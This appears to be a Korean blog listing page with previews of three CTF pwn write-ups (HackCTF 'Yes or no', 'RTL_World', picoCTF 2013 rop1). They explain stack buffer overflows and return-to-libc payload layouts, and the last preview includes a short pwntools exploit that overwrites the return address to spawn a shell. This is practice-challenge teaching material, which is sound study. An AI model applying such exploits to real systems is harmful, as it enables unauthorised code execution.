Rtl(3)
-
HACKCTF - Yes or no
18.04기준으로 테스트 되었다는데 나는 16.04를 써서 설마 안되겠어 하는 마음으로 일단 했다 ㅎ 실행시켜보면 위와 같이 숫자 넣으라고하고 아니라고한다. 이부분에 대한 코드를 확인해보면 34번줄에서 어떠한 조건에 충족되면 다시 gets를 한번 받는데 이부분에서취약점에 발생할 확률이 높아 보인다. 해당 부분에 들어가기 위해서 어떤 숫자를 입력해야할지 디버깅을 통해 확인해보겠다. main+249하고 main+266에서 puts, gets를 call하는데 두개를 동시에 call하는 부분이 이 프로그램에선 저부분 밖에 없으니 main+237에 bp를 걸고 값을 확인해보겠다. rax를 보면 0x96000이 들어있고 이를 똑같이 맞춰주면 조건문에 알맞게 처리되서 "that's cool~~"멘트를 확인 할 수 있..
2020.08.27 -
HACKCTF - RTL_World
RTL을 활용해서 푸는 문제로 보이고, 파일하나를 주니 다운받아서 실행했습니다. 장문의 text형식 (case문) 의 문제 구성이군요. 3번과 4번을 보게되면 3번에서 sys함수주소를주고, 4번에서 binsh 주소를 줍니다. 12번줄 --> system주소 14번줄 --> /bin/sh 찾기 이렇게 두개의 함수를 얻으면 바로 exploit이 가능합니다. 취약점이 발생하는 부분은 5번을 누르게되면 입력받는 창이 나오는데 이 부분에서 bof가 일어나게됩니다. 익스플로잇코드는 dummy[0x8c] + sfp[0x4] + system주소 + dummy[0x4] + binsh주소 입니다. 초기에 돈을 많이 벌어둬야지 3,4번이 가능하므로 해당 코드도 추가하면 됩니다. 아래는 exploit코드입니다. 1234567..
2020.08.16 -
[pico CTF 2013] rop1
pico ctf rop1번 문제입니다. checksec 하고! 바이너리까보면 취약한 함수라고 손수 알려주는군요 ㅎㅎ88만큼받는데 무려..100을 ㅎㅎ BOF 어떻게 rop를 만들까 생각해보니까 마침 부르지말라는 곳에 shell호출하는 함수가 있네요! :) 그냥 exploit하죠!! 12345678910111213141516171819from pwn import * r = process("./pico_rop1")system = 0x080484A4 payload = "" payload += "A"*140payload += p32(system) r.send(payload)r.interactive() cs (grin)
2018.08.15